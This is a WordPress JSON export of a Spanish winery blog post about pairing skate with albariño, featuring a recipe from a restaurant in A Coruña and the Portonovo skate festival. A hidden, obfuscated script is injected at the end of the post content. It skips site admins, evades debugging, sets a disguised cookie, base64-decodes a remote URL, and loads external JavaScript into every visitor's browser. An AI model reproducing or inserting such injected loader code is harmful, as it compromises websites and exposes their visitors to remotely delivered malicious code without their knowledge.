{"id":308620,"date":"2023-06-23T09:19:29","date_gmt":"2023-06-23T07:19:29","guid":{"rendered":"https:\/\/bodegasmarquesdevizhoja.com\/?p=308620"},"modified":"2026-03-16T06:16:01","modified_gmt":"2026-03-16T05:16:01","slug":"que-vino-acompana-mejor-a-un-pescado-raya","status":"publish","type":"post","link":"https:\/\/bodegasmarquesdevizhoja.com\/gl\/que-vino-acompana-mejor-a-un-pescado-raya\/","title":{"rendered":"\u00bfQu\u00e9 vino acompa\u00f1a mejor a un pescado raya?"},"content":{"rendered":"\n<p>El pescado raya, aunque no sea muy conocido, es muy beneficioso para nuestra salud. Es bajo en grasa &nbsp;ya que aporta gran cantidad de nutrientes a nuestro organismo. Entre sus minerales destacan el su alto contenido en potasio, f\u00f3sforo, sodio, calcio y magnesio.<\/p>\n\n\n\n<p>Aunque su carne es muy popular sobre todo en los pa\u00edses b\u00e1lticos, nunca ha sido protagonista en la cocina espa\u00f1ola. Sin embargo, desde hace unos a\u00f1os ha cogido gran relevancia y se ha empezado a valorar su potencial. De hecho, es un pescado presente en muchas de las cartas de restaurantes de alta cocina.<\/p>\n\n\n\n<p>Por ello, queremos que conozcas las claves de c\u00f3mo cocinarlo y maridarlo con un buen vino blanco. Desde el restaurante La Teresa (A Coru\u00f1a) nos muestran una receta f\u00e1cil pero digna de un jurado gourmet, con la raya como ingrediente principal.&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-gallery columns-2 is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\"><ul class=\"blocks-gallery-grid\"><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-1024x1024.jpg\" alt=\"\" data-id=\"308635\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=308635\" class=\"wp-image-308635\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-1024x1024.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-300x300.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-150x150.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-768x768.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-600x600.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-100x100.jpg 100w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1-96x96.jpg 96w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1.jpg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><li class=\"blocks-gallery-item\"><figure><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-1024x1024.jpg\" alt=\"\" data-id=\"308638\" data-full-url=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2.jpg\" data-link=\"https:\/\/bodegasmarquesdevizhoja.com\/?attachment_id=308638\" class=\"wp-image-308638\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-1024x1024.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-300x300.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-150x150.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-768x768.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-600x600.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-100x100.jpg 100w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2-96x96.jpg 96w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-2.jpg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure><\/li><\/ul><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Ensaladilla de raya en escabeche | La Teresa<\/strong><\/h2>\n\n\n\n<p>Nos trasladamos hasta la provincia de A Coru\u00f1a para degustar, cerca de la concurrida plaza de Mar\u00eda Pita, una receta atrevida y vanguardista en el restaurante familiar de <a href=\"https:\/\/www.lateresa.com\/\">La Teresa<\/a>. Ensaladilla de raya en escabeche. Se trata de una receta fuera de lo com\u00fan ya que no lleva ning\u00fan ingrediente propio de la ensaladilla. \u00abNo lleva patatas, ni aceitunas, ni at\u00fan. Nuestra ensaladilla incluye tomate seco, boniato, alcaparras, pepinillo, huevo y mayonesa, es una mezcla muy dulce. Por ello, le aportamos un contraste con la raya en escabeche, que preparamos nosotros a partir del pescado fresco de la lonja\u00bb indica su propietario, Diego Lis.<\/p>\n\n\n\n<p>Es complicado escoger un vino que se adecue a la exquisitez del plato por el gran contraste de sabores. Debido a que por un lado, se encuentra el dulzor del boniato pero de repente se puede degustar el toque salado de la alcaparra, el vinagre de la raya o el amargor del tomate seco. Sin embargo, Diego Lis nos recomienda acompa\u00f1ar este plato con nuestro vino <a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/tienda\/torre-la-moreira\/\">Torre la Moreira<\/a> con D.O. R\u00edas Baixas 100 % albari\u00f1o.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Marida el pescado raya con un buen vino blanco<\/strong><\/h2>\n\n\n\n<p>En un plato donde su ingrediente principal, la raya, es tan especial es necesario maridarlo con un vino \u00fanico. El vino de <a href=\"https:\/\/bodegasmarquesdevizhoja.com\/es\/tienda\/torre-la-moreira\/\">Bodegas Marqu\u00e9s de Vizhoja<\/a>, mencionado previamente, equilibra con el potente sabor de la raya. Adem\u00e1s, este vino nos ayuda como comenta el chef \u00aba limpiar el paladar de un plato con un sabor tan fuerte como este y, a la vez, a apreciar el toque de la raya\u00bb.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1024x1024.jpg\" alt=\"\" class=\"wp-image-308632\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-1024x1024.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-300x300.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-150x150.jpg 150w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-768x768.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-600x600.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-100x100.jpg 100w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto-96x96.jpg 96w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/Mi-proyecto.jpg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Diego Lis, propietario de La Teresa<\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Fiesta del pescado raya en Portonovo<\/strong><\/h2>\n\n\n\n<p>Aunque la raya, como mencionamos anteriormente, no es un pescado demasiado cocinado en los hogares espa\u00f1oles, el puerto pesquero de Portonovo en el municipio de Sanxenxo (Pontevedra), ya conoc\u00eda sus exquisitos beneficios. Se adelant\u00f3 a rendirle homenaje con la \u201cFesta da Raia\u201d. Se trata de una tradici\u00f3n gastron\u00f3mica que se celebra desde 1995. Entre los marineros de dicho puerto, es costumbre tradici\u00f3n cocinar la raya a bordo del barco cuando parten a faenar. Tambi\u00e9n, hace a\u00f1os se proced\u00eda al secado de la raya para guisarla en invierno durante las semanas en que escaseaban las capturas.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Curiosidades del pez raya<\/strong><\/h2>\n\n\n\n<p><br>Tiene una textura muy gelatinosa y con un gusto intenso que lo diferencia de cualquier otro. Adem\u00e1s, su sabor var\u00eda considerablemente dependiendo de c\u00f3mo se cocine. En las elaboraciones donde la horneas o fr\u00edes su sabor es muy intenso mientras que si interviene m\u00e1s el agua (cocci\u00f3n, vapor) su sabor es suave.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" src=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-1024x576.jpg\" alt=\"\" class=\"wp-image-308627\" srcset=\"https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-1024x576.jpg 1024w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-300x169.jpg 300w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-768x432.jpg 768w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-1536x864.jpg 1536w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-2048x1152.jpg 2048w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-600x338.jpg 600w, https:\/\/bodegasmarquesdevizhoja.com\/wp-content\/uploads\/2023\/06\/pexels-peter-ravnholt-5351015-150x84.jpg 150w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption>Pescado raya<\/figcaption><\/figure>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>El pescado raya, aunque no sea muy conocido, es muy beneficioso para nuestra salud. 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